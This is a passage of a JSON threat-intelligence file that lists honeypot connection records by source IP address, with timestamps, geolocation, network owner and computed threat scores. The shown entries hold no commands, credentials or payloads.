      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 131584,
      "as_org": "Taiwan Intelligent Fiber Optic Network Co.,Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T19:03:08.521000+00:00",
        "last_seen_30d": "2026-05-31T19:04:29.779000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.158.120.50": {
      "attack_count": 2,
      "first_seen": "2026-05-06T16:33:17.746Z",
      "last_seen": "2026-05-06T16:33:30.418Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 135738,
      "as_org": "Adn Broadband",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:33:17.746000+00:00",
        "last_seen_30d": "2026-05-06T16:34:37.298000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.125.128.44": {
      "attack_count": 2,
      "first_seen": "2026-05-22T14:40:02.931Z",
      "last_seen": "2026-05-22T14:40:03.743Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:40:02.931000+00:00",
        "last_seen_30d": "2026-05-22T14:41:07.048000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.76.170.48": {
      "attack_count": 2,
      "first_seen": "2026-05-05T03:55:04.341Z",
      "last_seen": "2026-05-05T03:57:04.342Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": null,
      "asn": 15502,
      "as_org": "Vodafone Ireland Limited",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:55:04.341000+00:00",
        "last_seen_30d": "2026-05-05T04:08:09.932000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "113.221.78.115": {
      "attack_count": 2,
      "first_seen": "2026-05-21T19:04:59.298Z",
      "last_seen": "2026-05-21T19:06:17.675Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T19:04:59.298000+00:00",
        "last_seen_30d": "2026-05-21T19:07:18.080000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.230.56.235": {
      "attack_count": 2,
      "first_seen": "2026-05-08T19:40:55.408Z",
      "last_seen": "2026-05-08T19:41:09.191Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:40:55.408000+00:00",
        "last_seen_30d": "2026-05-08T19:42:12.176000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "132.255.110.138": {
      "attack_count": 2,
      "first_seen": "2026-05-14T00:10:53.885Z",
      "last_seen": "2026-05-14T00:12:53.888Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Resende",
      "asn": 264477,
      "as_org": "FLIX TELECOM",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T00:10:53.885000+00:00",
        "last_seen_30d": "2026-05-14T00:23:39.965000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "139.170.141.170": {
      "attack_count": 2,
      "first_seen": "2026-05-07T15:48:20.985Z",
      "last_seen": "2026-05-07T15:48:20.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T15:48:20.985000+00:00",
        "last_seen_30d": "2026-05-07T15:49:22.661000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "151.246.142.205": {
      "attack_count": 2,
      "first_seen": "2026-05-16T12:41:57.224Z",
      "last_seen": "2026-05-16T12:42:09.772Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Mosul",
      "asn": 202651,
      "as_org": "Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T12:41:57.224000+00:00",
        "last_seen_30d": "2026-05-16T12:43:18.790000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "163.0.56.62": {
      "attack_count": 2,
      "first_seen": "2026-05-08T15:59:34.513Z",
      "last_seen": "2026-05-08T16:00:06.116Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:59:34.513000+00:00",
        "last_seen_30d": "2026-05-08T16:01:10.818000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "167.56.27.89": {
      "attack_count": 2,
      "first_seen": "2026-05-16T02:28:49.316Z",
      "last_seen": "2026-05-16T02:29:02.351Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T02:28:49.316000+00:00",
        "last_seen_30d": "2026-05-16T02:30:08.635000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.79.175.159": {
      "attack_count": 2,
      "first_seen": "2026-05-20T22:29:11.128Z",
      "last_seen": "2026-05-20T22:29:24.937Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cruz das Almas",
      "asn": 266303,
      "as_org": "PROVYNET TELECON LTDA ME",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T22:29:11.128000+00:00",
        "last_seen_30d": "2026-05-20T22:30:26.241000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.11.240.230": {
      "attack_count": 2,
      "first_seen": "2026-05-25T03:07:42.268Z",
      "last_seen": "2026-05-25T03:07:55.753Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T03:07:42.268000+00:00",
        "last_seen_30d": "2026-05-25T03:08:59.316000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "184.105.139.69": {
      "attack_count": 2,
      "first_seen": "2026-05-21T02:50:40.017Z",
      "last_seen": "2026-05-21T02:50:42.163Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 320,
        "days_active_30d": 30,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T12:04:33+00:00",
        "last_seen_30d": "2026-05-31T12:53:26.802000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 185,
        "Honeytrap": 109,
        "Redishoneypot": 11,
        "Mailoney": 6,
        "Dionaea": 4,
        "Cowrie": 2,
        "Ipphoney": 2,
        "Miniprint": 1
      }
    },
    "186.54.58.237": {
      "attack_count": 2,
      "first_seen": "2026-05-24T00:10:40.239Z",
      "last_seen": "2026-05-24T00:12:40.242Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:10:40.239000+00:00",
        "last_seen_30d": "2026-05-24T00:23:28.548000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "187.188.225.105": {
      "attack_count": 2,
      "first_seen": "2026-05-11T23:59:43.462Z",
      "last_seen": "2026-05-11T23:59:55.470Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Gustavo Adolfo Madero",
      "asn": 17072,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T23:59:43.462000+00:00",
        "last_seen_30d": "2026-05-12T00:01:05.708000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.191.237.225": {
      "attack_count": 2,
      "first_seen": "2026-05-19T18:45:31.009Z",
      "last_seen": "2026-05-19T18:45:43.663Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Chernivtsi",
      "asn": 59497,
      "as_org": "Buknet LLC",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:45:31.009000+00:00",
        "last_seen_30d": "2026-05-19T18:46:50.328000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.174.25.58": {
      "attack_count": 2,
      "first_seen": "2026-05-25T00:50:19.694Z",
      "last_seen": "2026-05-25T00:52:19.700Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T00:50:19.694000+00:00",
        "last_seen_30d": "2026-05-25T00:53:56.412000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "190.61.116.234": {
      "attack_count": 2,
      "first_seen": "2026-05-24T02:29:58.368Z",
      "last_seen": "2026-05-24T02:31:58.371Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "Tegucigalpa",
      "asn": 52468,
      "as_org": "UFINET PANAMA S.A.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:29:58.368000+00:00",
        "last_seen_30d": "2026-05-24T02:42:00.322000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.89.30.161": {
      "attack_count": 2,
      "first_seen": "2026-05-04T00:53:33.958Z",
      "last_seen": "2026-05-04T00:53:47.136Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 264628,
      "as_org": "CORPORACION FIBEX TELECOM, C.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:53:33.958000+00:00",
        "last_seen_30d": "2026-05-04T00:54:48.832000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "2.90.98.151": {
      "attack_count": 2,
      "first_seen": "2026-05-09T10:46:31.691Z",
      "last_seen": "2026-05-09T10:46:43.865Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 39891,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T10:46:31.691000+00:00",
        "last_seen_30d": "2026-05-09T10:47:49.761000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.254.176.84": {
      "attack_count": 2,
      "first_seen": "2026-05-06T08:55:43.063Z",
      "last_seen": "2026-05-06T08:55:57.060Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T08:55:43.063000+00:00",
        "last_seen_30d": "2026-05-06T08:57:04.655000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.45.244.137": {
      "attack_count": 2,
      "first_seen": "2026-05-08T22:05:56.732Z",
      "last_seen": "2026-05-08T22:06:09.080Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Minsk",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T22:05:56.732000+00:00",
        "last_seen_30d": "2026-05-08T22:07:17.209000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.190.124.175": {
      "attack_count": 2,
      "first_seen": "2026-05-10T22:27:57.583Z",
      "last_seen": "2026-05-10T22:28:11.869Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Car\u00fapano",
      "asn": 273182,
      "as_org": "Cablexpress TV C.A.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T22:27:57.583000+00:00",
        "last_seen_30d": "2026-05-10T22:29:16.774000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.232.133.207": {
      "attack_count": 2,
      "first_seen": "2026-05-13T12:12:26.116Z",
      "last_seen": "2026-05-13T12:12:57.309Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 28210,
      "as_org": "GIGA MAIS FIBRA TELECOMUNICACOES S.A.",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T12:12:26.116000+00:00",
        "last_seen_30d": "2026-05-13T12:14:04.178000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.245.91.249": {
      "attack_count": 2,
      "first_seen": "2026-05-08T22:38:15.273Z",
      "last_seen": "2026-05-08T22:38:46.070Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T22:38:15.273000+00:00",
        "last_seen_30d": "2026-05-08T22:39:54.978000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "49.36.137.10": {
      "attack_count": 2,
      "first_seen": "2026-05-10T18:19:14.332Z",
      "last_seen": "2026-05-10T18:19:27.158Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T18:19:14.332000+00:00",
        "last_seen_30d": "2026-05-10T18:20:33.244000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "82.211.150.196": {
      "attack_count": 2,
      "first_seen": "2026-05-14T14:25:47.939Z",
      "last_seen": "2026-05-14T14:26:00.426Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Georgia",
      "country_code": "GE",
      "city": "Tbilisi",
      "asn": 16010,
      "as_org": "Magticom Ltd.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T14:25:47.939000+00:00",
        "last_seen_30d": "2026-05-14T14:27:10.652000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.82.97.2": {
      "attack_count": 2,
      "first_seen": "2026-05-08T07:16:15.387Z",
      "last_seen": "2026-05-08T07:16:28.229Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 5410,
      "as_org": "Bouygues Telecom SA",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
